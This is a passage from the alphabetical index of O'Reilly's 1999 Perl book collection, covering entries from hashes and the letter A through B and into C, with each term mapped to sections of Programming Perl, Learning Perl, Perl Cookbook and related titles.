dictionary file, searching : Programming Perl, 7.2.53. Search::Dict - Search for Key in Dictionary File
examples
Advanced Perl Programming, 2.3.1. Representation
Learning Perl, 1.5.6. Giving Each Person a Different Secret Word
Learning Perl on Win32 Systems, 1.6.6. Giving Each Person a Different Secret Word
functions for processing : Perl in a Nutshell, 5.1. Perl Functions by Category
global : Programming Perl, 2.9.4. Global Special Arrays
hard references as keys : Programming Perl, 4.5.1. Hard References Don't Work as Hash Keys
of hashes : Advanced Perl Programming, 2.2.1. Hash of Hashes Representation
initializing with x operator : Programming Perl, 2.5.7. Multiplicative Operators
instead of linear searches : Programming Perl, 8.3.1. Time Efficiency
inverting : Programming Perl, 3.2.126. reverse
key/value pair precedence : Programming Perl, 2.3.5. Hashes (Associative Arrays)
literal representation of : Learning Perl, 5.3. Literal Representation of a Hash
multidimensional : Programming Perl, 4.7.4. Hashes of Hashes
named
Advanced Perl Programming, 1.3. Nested Data Structures
Programming Perl, 2.3.1. Variables
order in
Learning Perl, 5.1. What Is a Hash?
Learning Perl on Win32 Systems, 5.1. What Is a Hash?
passing to subroutines : Advanced Perl Programming, 1.2.1. Passing Arrays and Hashes to Subroutines
references to
Advanced Perl Programming, 1.1.5. References to Hashes
Advanced Perl Programming, 1.6.2. Array/Hash References Versus Element References
removing/deleting elements from
Learning Perl, 5.4.4. The delete Function
Programming Perl, 3.2.26. delete
returning keys and values
Programming Perl, 3.2.30. each
Programming Perl, 3.2.79. keys
Programming Perl, 3.2.187. values
simulating data structures with : Advanced Perl Programming, 2.1. User-Defined Structures
sorting
Learning Perl, 15.4. Advanced Sorting
Programming Perl, 7.2.8.4. In-memory databases
special (predefined) : Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
stepping through : Learning Perl, 5.4.3. The each Function
SubstrHash module : Programming Perl, 7.2.74. Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
symbol tables : Programming Perl, 5.1.1. Symbol Tables
of symbolic references : Advanced Perl Programming, 1.5. Symbolic References
tied : Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
typing : Programming Perl, 5.4.3. Tying Hashes
variables : Learning Perl, 5.2. Hash Variables
associativity
Learning Perl, 2.4.3. Operator Precedence and Associativity
Programming Perl, 2.5. Operators
AST (abstract syntax tree) : Advanced Perl Programming, 17.2. Jeeves Example
AST module : Advanced Perl Programming, 17.4.1. AST Module
asterisk : (see * (asterisk))
Astro, pronouncing "Windex" : Learning Perl, 15.1. Finding a Substring
at sign : (see @ (at sign))
atan() : Programming Perl, 3.2.6. atan2
atan2() : Perl in a Nutshell, Chapter 5, Reference: atan2
Atari ST, Perl on the : Learning Perl, 1.3. Availability
$atime file statistic : Programming Perl, 3.2.159. stat
atime field : Perl Cookbook, 9.0. Introduction
atoms
Programming Perl, 2.4.1.1. The regular expression bestiary
Programming Perl, 2.4.1.2. The rules of regular expression matching
attr() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: attr
Attr() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Attr
attrib command : (see chmod command)
attributes
accessor methods for : Advanced Perl Programming, 7.2.8. Accessor Methods
class attributes : Advanced Perl Programming, 7.2.5. Class Methods and Attributes
computed : Advanced Perl Programming, 7.2.8. Accessor Methods
inheritance of
Advanced Perl Programming, 8.3.1. Attribute Inheritance
Perl Cookbook, 13.12. Solving the Data Inheritance Problem
object attributes
Advanced Perl Programming, 7.2.8. Accessor Methods
Advanced Perl Programming, 7.2.1. Attributes
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.3. Managing Instance Data
storing
Advanced Perl Programming, 8.1.2. Attribute Storage Using Typeglobs
Advanced Perl Programming, 8.1.1. ObjectTemplate: Attribute Storage Using Arrays
Advanced Perl Programming, 8.1. Efficient Attribute Storage
attrs module : Perl in a Nutshell, 8.2. attrs
auth_type() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: auth_type
AUTH_TYPE variable : Perl in a Nutshell, 9.4. CGI Environment Variables
authentication, POP3 : Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
authinfo() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: authinfo
authorize() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: authorize
autobundle command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: autobundle
AutoCommit attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
autodecrement (--) operator
Learning Perl, 2.6.2. Autoincrement and Autodecrement
Perl in a Nutshell, 4.5.5. Autoincrement and Autodecrement
Programming Perl, 1.5.4. Autoincrement and Autodecrement Operators
Programming Perl, 2.5.3. Autoincrement and Autodecrement
Programming Perl, 7.2.48.3. Overloadable operations
autoEscape() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: autoEscape
autoflush()
Perl Cookbook, 7.12. Flushing Output
Perl Cookbook, 16.10. Communicating Between Related Processes
autogeneration : Programming Perl, 7.2.48.7. Autogeneration
autoincrement (++) operator
Learning Perl, 2.6.2. Autoincrement and Autodecrement
Learning Perl, 4.4. The for Statement
Learning Perl on Win32 Systems, 2.6.2. Autoincrement and Autodecrement
Learning Perl on Win32 Systems, 4.5. The for Statement
Perl in a Nutshell, 4.5.5. Autoincrement and Autodecrement
Programming Perl, 1.5.4. Autoincrement and Autodecrement Operators
Programming Perl, 2.5.3. Autoincrement and Autodecrement
Programming Perl, 7.2.48.3. Overloadable operations
AUTOLOAD function
Advanced Perl Programming, 6.7. Autoloading
Advanced Perl Programming, 7.2.7. Object Destruction
Perl Cookbook, 10.15. Trapping Undefined Function Calls with AUTOLOAD
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.11. Generating Attribute Methods Using AUTOLOAD
Programming Perl, 5.1.3. Autoloading
Programming Perl, 5.3.4. A Class Is Simply a Package
Programming Perl, 5.3.8. Method Autoloading
AutoLoader module
(see also SelfLoader module)
Perl Cookbook, 12.10. Speeding Up Module Loading with Autoloader
Perl in a Nutshell, 8.3. AutoLoader
Programming Perl, 7.2.2. AutoLoader - Load Functions Only on Demand
Programming Perl, 7.2.55.1. SelfLoader autoloading
autoloading
Advanced Perl Programming, 6.7. Autoloading
Programming Perl, 7.2.2. AutoLoader - Load Functions Only on Demand
Programming Perl, 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
Programming Perl, 7.2.12. DynaLoader - Automatic Dynamic Loading of Perl Modules
automatic
dereferencing : Advanced Perl Programming, 1.1.8. No Automatic Dereferencing
line-end processing
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
sorting of hashes : Programming Perl, 7.2.8.4. In-memory databases
automation server : Perl in a Nutshell, 19.18. OLE Automation
automation with LWP : Learning Perl, 19.10.3. Web Automation with LWP
autosplit mode
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
AutoSplit module
Advanced Perl Programming, 6.7. Autoloading
Perl in a Nutshell, 8.4. AutoSplit
Programming Perl, 7.2.3. AutoSplit - Split a Module for Autoloading
autouse module : Perl in a Nutshell, 8.5. autouse
autovivification : Perl Cookbook, 11.0. Introduction
availability of Perl : Learning Perl, 1.3. Availability
available_drivers() (DBI) : Perl in a Nutshell, Chapter 12, Reference: available_drivers
AVs (array values) : Advanced Perl Programming, 20.3.2. Array Values (AV)
awk : Programming Perl, 8.2.3. Awk Traps
converting to/from Perl
Learning Perl, 18.1. Converting awk Programs to Perl
Programming Perl, 6.4.2.2. a2p
Programming Perl, 8.5.1. Translation from Awk and Sed
variable names : Programming Perl, 7.2.76. vars - Predeclare Global Variable Names

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

\B anchor (not word boundary)
Learning Perl, 7.3.3. Anchoring Patterns
Learning Perl on Win32 Systems, 7.3.3. Anchoring Patterns
Perl in a Nutshell, 4.6.5. Anchors
Programming Perl, 2.4.1.2. The rules of regular expression matching
\b anchor (word boundary)
Learning Perl, 7.4.4. Using Variable Interpolation
Perl in a Nutshell, 4.6.5. Anchors
Programming Perl, 1.7.3. Nailing Things Down
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
\b for backspace
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
b command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: b
b command (debugger)
Perl in a Nutshell, Chapter 6, Reference: b
Programming Perl, 8.1.1. Debugger Commands
-b file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-B file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
B<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
B modules : Perl in a Nutshell, 8.6. B
B::Asmdata module : Perl in a Nutshell, 8.7. B::Asmdata
B::Assembler module : Perl in a Nutshell, 8.8. B::Assembler
B::Bytecode module : Perl in a Nutshell, 8.10. B::Bytecode
B::C module : Perl in a Nutshell, 8.11. B::C
B::CC module : Perl in a Nutshell, 8.12. B::CC
B::Debug module : Perl in a Nutshell, 8.13. B::Debug
B::Deparse module : Perl in a Nutshell, 8.14. B::Deparse
B::Disassembler module : Perl in a Nutshell, 8.15. B::Disassembler
B::Lint module : Perl in a Nutshell, 8.16. B::Lint
B::Showlex module : Perl in a Nutshell, 8.17. B::Showlex
B::Stackobj module : Perl in a Nutshell, 8.18. B::Stackobj
B::Terse module : Perl in a Nutshell, 8.19. B::Terse
B::Xref module : Perl in a Nutshell, 8.20. B::Xref
-b option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
B-tree implementation (DB_File) : Perl Cookbook, 14.6. Sorting Large DBM Files
=back command (pod) : Perl in a Nutshell, Chapter 4, Reference: =back
-background option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
backquote : (see ` (backquote))
backreferences
Perl Cookbook, 6.0. Introduction
Learning Perl, 7.4.5. Special Read-Only Variables
Learning Perl on Win32 Systems, 7.3.2.3. Parentheses as memory
Learning Perl on Win32 Systems, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Perl in a Nutshell, 4.6.7. Pattern Match Variables
Programming Perl, 1.7.4. Backreferences
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 8.2.1. Universal Blunders
finding duplicate words : Perl Cookbook, 6.16. Detecting Duplicate Words
backslash : (see \ (backslash))
backsniff program (example) : Perl Cookbook, 17.17. Program: backsniff
BACKSPACE character
/b for : Programming Perl, 2.4.1.2. The rules of regular expression matching
completion and : Programming Perl, 7.2.65. Term::Complete - Word Completion Module
backtick : (see ` (backquote))
backtracking, in regular expressions
Perl Cookbook, 6.0. Introduction
Learning Perl, 7.3.2.2. Multipliers
Programming Perl, 2.4.1.2. The rules of regular expression matching
backup files, and inplace editing : Learning Perl, 17.5. Variable-Length (Text) Databases
Backup() (Win32::EventLog) : Perl in a Nutshell, Chapter 19, Reference: Backup
bad hyperlinks, finding : Perl Cookbook, 20.7. Finding Stale Links
bang : (see ! (bang))
bar : (see | (vertical bar))
Barber, Stan : Perl in a Nutshell, 15. Usenet News
bare blocks : Programming Perl, 2.6.5. Bare Blocks and Case Structures
barewords
Programming Perl, 2.3.2.4. Or leave the quotes out entirely
Programming Perl, 8.2.2. Frequently Ignored Advice
Programming Perl, 8.2.7. Previous Perl Traps
Barr, Graham : Perl in a Nutshell, 14. Email Connectivity
base()
HTTP::Response module : Perl in a Nutshell, Chapter 17, Reference: base
URI::URL module : Perl in a Nutshell, Chapter 17, Reference: base
base classes
Advanced Perl Programming, 7.2.6. The Need for Inheritance
Perl Cookbook, 13.0. Introduction
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
Programming Perl, 5.3.4. A Class Is Simply a Package
Programming Perl, 5.5.1. Object-Oriented Scaling Tips
empty base class test : Perl Cookbook, 13.9. Writing an Inheritable Class
overriding
Advanced Perl Programming, 7.2.6.1. Overriding base classes
Programming Perl, 5.5.6. Overriding Base Class Methods
tied hashes : Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
base module : Perl in a Nutshell, 8.21. base
basename() : Perl Cookbook, 9.10. Splitting a Filename into Its Component Parts
basename command, emulating : Learning Perl, A.12. Chapter 13, File and Directory Manipulation
Basename module : Programming Perl, 7.2.27. File::Basename - Parse File Specifications
$BASETIME ($^T) variable
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.5.10. Named Unary and File Test Operators
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
basewords : Programming Perl, 7.2.59. strict - Restrict Unsafe Constructs
bbox()
Canvas widget : Perl in a Nutshell, 18.12.3. Canvas Methods
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Text widget : Perl in a Nutshell, 18.11.2. Text Methods
bcc() (Mail::Send) : Perl in a Nutshell, Chapter 14, Reference: bcc
-bd option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
Beazley, Dave : Advanced Perl Programming, 18. Extending Perl:A First Course
-before option (pack geometry manager) : Perl in a Nutshell, 18.2.1. The pack Geometry Manager
=begin command (pod)
Perl Cookbook, 12.16. Documenting Your Module with Pod
Perl in a Nutshell, Chapter 4, Reference: =begin
BEGIN subroutine
Advanced Perl Programming, 6.3. Package Initialization and Destruction
Programming Perl, 5.1.2. Package Constructors and Destructors: BEGIN and END
behavior, object : Advanced Perl Programming, 7.2.3. Behavior
bell, ringing
Perl Cookbook, 15.7. Ringing the Terminal Bell
Perl in a Nutshell, 4.6.3. Escaped Sequences
Benchmark module
Perl in a Nutshell, 8.22. Benchmark
Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
Bentley, Jon : Advanced Perl Programming, 2. Implementing Complex Data Structures
Berkeley DB
Advanced Perl Programming, 10.3.3. Berkeley DB
Perl Cookbook, 14.0. Introduction
Programming Perl, 7.2.8. DB_File - Access to Berkeley DB
-bg option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
bgets program (example) : Perl Cookbook, 8.14. Reading a String from a Binary File
biased random numbers : Perl Cookbook, 2.10. Generating Biased Random Numbers
biclient program (example) : Perl Cookbook, 17.10. Writing Bidirectional Clients
bidirectional clients : Perl Cookbook, 17.10. Writing Bidirectional Clients
bidirectional communication
Advanced Perl Programming, 12.2.3. Bidirectional Communications
Programming Perl, 6.2.2.3. Bidirectional communication
big-endian : Learning Perl, 16.2. Packing and Unpacking Binary Data
bigfact program (example) : Perl Cookbook, 2.19. Program: Calculating Prime Factors
BigFloat mmodule : Programming Perl, 7.2.42. Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
-bigincrement option (Scale) : Perl in a Nutshell, 18.13. The Scale Widget
BigInt module : Programming Perl, 7.2.43. Math::BigInt - Arbitrary-Length Integer Math Package
/bin/sh
Learning Perl, 14.1. Using system and exec
Programming Perl, 6.1.1. Command Processing
binary
arithmetic operators : Programming Perl, 1.5.1. Arithmetic Operators
assignment operator : Learning Perl, 2.6.1. Binary Assignment Operators
binding (!~) operator : Programming Perl, 2.5.6. Binding Operators
binding (=~) operator
Learning Perl, 7.4.1. Selecting a Different Target (the =~ Operator)
Perl in a Nutshell, 4.5.7. Pattern Match Operators
Programming Perl, 2.5.6. Binding Operators
Programming Perl, 8.2.3. Awk Traps
examples of
Learning Perl, 1.5.8. Making It Fair for the Rest
Learning Perl on Win32 Systems, 1.6.8. Making It Fair for the Rest
substitution and : Learning Perl, 7.5. Substitutions
tr operator and : Learning Perl, 15.5. Transliteration
bit-shift operators : Programming Perl, 2.5.9. Shift Operators
comma operator : (see = (equal sign), => operator)
data, treated, using strings : Learning Perl, 2.3. Strings
exponentiation (**) operator
Learning Perl, 2.4.1. Operators for Numbers
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 2.5.4. Exponentiation
Programming Perl, 8.2.3. Awk Traps
files
Perl Cookbook, 8.11. Processing Binary Files
Perl Cookbook, 8.14. Reading a String from a Binary File
Programming Perl, 3.2.102. open
mode : Programming Perl, 3.2.8. binmode
numbers
Perl Cookbook, 2.0. Introduction
Perl Cookbook, 2.4. Converting Between Binary and Decimal
operators
(see bitwise, operators)
Programming Perl, 7.2.48.1. Calling conventions for binary operations
Programming Perl, 7.2.48.3. Overloadable operations
pack function : Programming Perl, 3.2.105. pack
Perl distributions
Perl in a Nutshell, 2.3.1. Installing on Unix
Perl in a Nutshell, 2.3.2.1. ActivePerl
repetition (x) operator
Programming Perl, 1.5.2. String Operators
Programming Perl, 2.5.7. Multiplicative Operators
tree structures : Perl Cookbook, 11.15. Program: Binary Trees
binary() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: binary
Binary() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Binary
BinaryRead() (Request object, PerlScript) : Perl in a Nutshell, 20.2.1. The Request Object
BinaryWrite() (Response object, PerlScript) : Perl in a Nutshell, 20.2.2.3. Response methods
bind()
Advanced Perl Programming, 14.6. Event Bindings
Perl Cookbook, 17.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: bind
Programming Perl, 3.2.7. bind
Canvas module : Perl in a Nutshell, 18.12.3. Canvas Methods
Socket module
Perl in a Nutshell, 13.1. Built-in Socket Functions
Perl in a Nutshell, 13.1.3. Server Connections
bind_col() (DBI) : Perl in a Nutshell, Chapter 12, Reference: bind_col
bind_columns() (DBI) : Perl in a Nutshell, Chapter 12, Reference: bind_columns
bind_param() (DBI) : Perl in a Nutshell, Chapter 12, Reference: bind_param
binding : (see also events)
DBM file to hash : Programming Perl, 3.2.24. dbmopen
operators
Programming Perl, 2.5.6. Binding Operators
Programming Perl, 8.2.3. Awk Traps
variables to packages
Programming Perl, 3.2.171. tie
Programming Perl, 3.2.184. untie
Programming Perl, 5.4. Using Tied Variables
binmode()
Perl Cookbook, 8.11. Processing Binary Files
Learning Perl on Win32 Systems, 17.4. Fixed-Length Random-Access Databases
Perl in a Nutshell, Chapter 5, Reference: binmode
Programming Perl, 3.2.8. binmode
Programming Perl, 3.2.102. open
bintree program (example) : Perl Cookbook, 11.15. Program: Binary Trees
bit operators : (see binary, operators)
bit-shift operators : Programming Perl, 2.5.9. Shift Operators
BITFTP : Learning Perl, BITFTP
-bitmap option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
bitmaps, widgets and : Advanced Perl Programming, 14.3.1.2. Images
bitmasks : Programming Perl, 3.2.135. select (ready file descriptors)
bitwise
negation (~) operator : Programming Perl, 2.5.5. Ideographic Unary Operators
operators
Perl Cookbook, 1.9. Controlling Case
Perl in a Nutshell, 4.5.10. Bitwise Operators
Programming Perl, 2.5.13. Bitwise Operators
Programming Perl, 2.5.20. Logical and, or, not, and xor
Programming Perl, 8.2.3. Awk Traps
bless()
Advanced Perl Programming, 7.2.4. The Need for Polymorphism
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.1. Constructing an Object
Perl in a Nutshell, Chapter 5, Reference: bless
Programming Perl, 3.2.9. bless
Programming Perl, 4.2.5. Object Constructors
Programming Perl, 4.3.5. Other Tricks You Can Do with Hard References
Programming Perl, 5.3.3. An Object Is Simply a Referenced Thingy
blessed references : Advanced Perl Programming, 20.3.1.3. SVs and object pointers
blessing : Perl Cookbook, 13.0. Introduction
blib module : Perl in a Nutshell, 8.23. blib
$blksize file statistic : Programming Perl, 3.2.159. stat
BLOCK
(see also blocks)
Programming Perl, 2.6.2. Compound Statements
blocking calls
Advanced Perl Programming, 12.1. Networking Primer
Advanced Perl Programming, 12.3. Handling Multiple Clients
Advanced Perl Programming, 12.3.2.1. Blocking looms again
event loops and : Advanced Perl Programming, 14.7. Event Loops
nonblocking filehandles versus : Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
blocking file access
Perl Cookbook, 7.11. Locking a File
Perl Cookbook, 7.21. Program: netlock
region-specific locks : Perl Cookbook, 7.22. Program: lockarea
blocking signals : Perl Cookbook, 16.20. Blocking Signals
blocks
(see also statements)
Advanced Perl Programming, 1.2.5. A More General Rule
Learning Perl, 1.5.3. Adding Choices
Learning Perl, 4.1. Statement Blocks
Learning Perl on Win32 Systems, 1.6.3. Adding Choices
Learning Perl on Win32 Systems, 4.1. Statement Blocks
Perl in a Nutshell, 4.3. Statements
Programming Perl, 2.6.2. Compound Statements
Programming Perl, 2.6.4.4. Loop control
Programming Perl, 4.3.2. Using a BLOCK as a Variable Name
as body of subroutine
Learning Perl, 8.1. Defining a User Function
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 8.1. Defining a User Function
bare : Programming Perl, 2.6.5. Bare Blocks and Case Structures
as body of subroutine : Learning Perl, 1.5.9. Making It a Bit More Modular
labeled : Learning Perl, 9.4. Labeled Blocks
loops : (see loops)
naked : Learning Perl, 9.1. The last Statement
$blocks file statistic : Programming Perl, 3.2.159. stat
body() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: body
Body()
Mail::Internet module : Perl in a Nutshell, Chapter 14, Reference: body
Mail::POP3Client module
Perl in a Nutshell, Chapter 14, Reference: Body
Perl in a Nutshell, 14.2.8.3. Retrieving the message body
bookdb.dir, bookdb.pag files : Perl in a Nutshell, 12.1. DBM Databases and DBM Hashes
books, Perl-related
Perl in a Nutshell, 1.4.9. Books
Perl in a Nutshell, Acknowledgments
Boolean
connectives in patterns : Perl Cookbook, 6.17. Expressing AND, OR, and NOT in a Single Pattern
context : Programming Perl, 2.3.3.2. Boolean context
definition of truth
Perl Cookbook, 1.0. Introduction
Programming Perl, 1.6.1. What Is Truth?
operators : Programming Perl, 1.5.7. File Test Operators
bootstrap()
Programming Perl, 7.2.12.1. Internal interface summary
Programming Perl, 7.2.21. ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
bootstrapping C library : Advanced Perl Programming, 18.1. Writing an Extension: Overview
-bordermode option (place geometry manager) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
-borderwidth option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
boundaries, persistence and : Advanced Perl Programming, 10.1. Persistence Issues
boundary assertions
Programming Perl, 1.7.3. Nailing Things Down
Programming Perl, 2.4.1.3. The fine print
Bourne shell
Learning Perl, 14.1. Using system and exec
Programming Perl, 6.1.1. Command Processing
braces {} : (see {} (braces))
brackets : (see [] (brackets))
break command (in C)
Learning Perl, 9.1. The last Statement
Programming Perl, 8.2.4. C Traps
break statement : (see last)
breakpoints : Programming Perl, 8.1.1. Debugger Commands
Brooks, Fred : Advanced Perl Programming, 7.1. OO: An Introduction
browsers, CGI programs and : Learning Perl, 19.2. Your CGI Program in Context
Buffer property (Response object) : Perl in a Nutshell, 20.2.2.2. Response properties
buffer, POSIX input : Programming Perl, 7.2.49.1. Classes
buffered input/output
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.12. Flushing Output
Perl Cookbook, 8.0. Introduction
controlling for other programs : Perl Cookbook, 16.8. Controlling Input and Output of Another Program
socket programming and : Perl Cookbook, 17.3. Communicating over TCP
bugs : Programming Perl, 9. Diagnostic Messages
filehandles methods : Programming Perl, 7.2.33.1. Bugs
patches for : Programming Perl, 8.5.3. Patches
in Perl debugger : Programming Perl, 8.1.7. Debugger Bugs
reporting
(see also debugging)
Perl in a Nutshell, 6.6. The perlbug Program
Programming Perl, Bug Reports
building modules from CPAN : Perl Cookbook, 12.17. Building and Installing a CPAN Module
BuildNumber module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
built-in
data types : Programming Perl, 2.2. Built-in Data Types
functions
Perl in a Nutshell, 5. Function Reference
Programming Perl, 5.2.2. Overriding Built-in Functions
listed alphabetically : Perl in a Nutshell, 5.2. Perl Functions in Alphabetical Order
listed by category : Perl in a Nutshell, 5.1. Perl Functions by Category
socket-related : Perl in a Nutshell, 13.1. Built-in Socket Functions
variables
Learning Perl on Win32 Systems, D.6. Many, Many Predefined Variables
Perl in a Nutshell, 4.4. Special Variables
button() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: button
Button widget (Perl/Tk) : Perl in a Nutshell, 18.4. The Button Widget
buttons
Advanced Perl Programming, A.1. Button
Advanced Perl Programming, 14.3.2. Labels and Buttons
checkbuttons
Advanced Perl Programming, A.1.2. Checkbutton
Advanced Perl Programming, 14.3.3. Radiobuttons and Checkbuttons
radiobuttons
Advanced Perl Programming, A.1.1. Radiobutton
Advanced Perl Programming, 14.3.3. Radiobuttons and Checkbuttons
bye function
Advanced Perl Programming, 17.3.2. Intermediate Perl Code
Advanced Perl Programming, 17.4.1. AST Module
bysub1, bysub2, bysub3 programs (examples) : Perl Cookbook, 10.17. Program: Sorting Your Mail
byte() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: byte
Bytecode backend (Perl compiler) : Perl in a Nutshell, 3.4. The Perl Compiler
byteperl interpreter : Perl in a Nutshell, 3.4. The Perl Compiler
bytes
bit-shift operators : Programming Perl, 2.5.9. Shift Operators
interpreting : Learning Perl on Win32 Systems, 16.2. Packing and Unpacking Binary Data
length in : Programming Perl, 3.2.84. length
reading
Programming Perl, 3.2.116. read
Programming Perl, 3.2.166. sysread

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

\c : (see control characters)
c command (debugger)
Perl in a Nutshell, Chapter 6, Reference: c
Programming Perl, 8.1.1. Debugger Commands
c (complement option of tr) : Learning Perl, 15.5. Transliteration
-c file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-C file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
%c format : Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
C<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
C language : Programming Perl, 8.2.4. C Traps
backend (Perl compiler) : Perl in a Nutshell, 3.4. The Perl Compiler
classes of, SWIG and : Advanced Perl Programming, 18.3. SWIG Features
data structures in : Advanced Perl Programming, 2.1. User-Defined Structures
dynamic tracing : Advanced Perl Programming, 9.6.3. C++
exception handling : Advanced Perl Programming, 5.2. The Block Form: Exception Handling
header files : Advanced Perl Programming, 18.1.1. The Extension Process
library functions : Programming Perl, 3. Functions
Miniperl module for : Programming Perl, 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
modular programming in : Advanced Perl Programming, 6.9.3. C/C++
object orientation : Advanced Perl Programming, 7.5.3. C++ and Java
references in : Advanced Perl Programming, 1.7.3. C/C++
run-time evaluation and error handling : Advanced Perl Programming, 5.7.3. C / C++
subroutines in : Advanced Perl Programming, 4.5.3. C++
using with Perl
Advanced Perl Programming, 18. Extending Perl:A First Course
Programming Perl, 6.4.4. Embedding Perl in C and C++
Programming Perl, 6.4.5. Embedding C and C++ in Perl
Mandelbrot code example : Advanced Perl Programming, 18.2. Example: Fractals with Perl
wrapper programs : Programming Perl, 6.3.1.3. Security bugs
writing modules in : Perl Cookbook, 12.15. Using h2xs to Make a Module with C Code
XS and C++
Advanced Perl Programming, 18.4.5. C++ Code
Advanced Perl Programming, 20.5.5. C++ Objects and XS Typemaps
/c modifier : Programming Perl, 2.4.2. Pattern-Matching Operators
-c option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
-C option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
-C option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
C preprocessor (cpp)
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
C shell
globbing and : Learning Perl, 12.2. Globbing
setenv command of : Learning Perl, 14.1. Using system and exec
C-style logical operators : Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
-c switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
C++ language
backend (Perl compiler) : Perl in a Nutshell, 3.4. The Perl Compiler
classes of, SWIG and : Advanced Perl Programming, 18.3. SWIG Features
data structures in : Advanced Perl Programming, 2.1. User-Defined Structures
dynamic tracing : Advanced Perl Programming, 9.6.3. C++
exception handling : Advanced Perl Programming, 5.2. The Block Form: Exception Handling
header files : Advanced Perl Programming, 18.1.1. The Extension Process
modular programming in : Advanced Perl Programming, 6.9.3. C/C++
object orientation : Advanced Perl Programming, 7.5.3. C++ and Java
references in : Advanced Perl Programming, 1.7.3. C/C++
run-time evaluation and error handling : Advanced Perl Programming, 5.7.3. C / C++
subroutines in : Advanced Perl Programming, 4.5.3. C++
using with Perl
Advanced Perl Programming, 18. Extending Perl:A First Course
Programming Perl, 6.4.4. Embedding Perl in C and C++
Programming Perl, 6.4.5. Embedding C and C++ in Perl
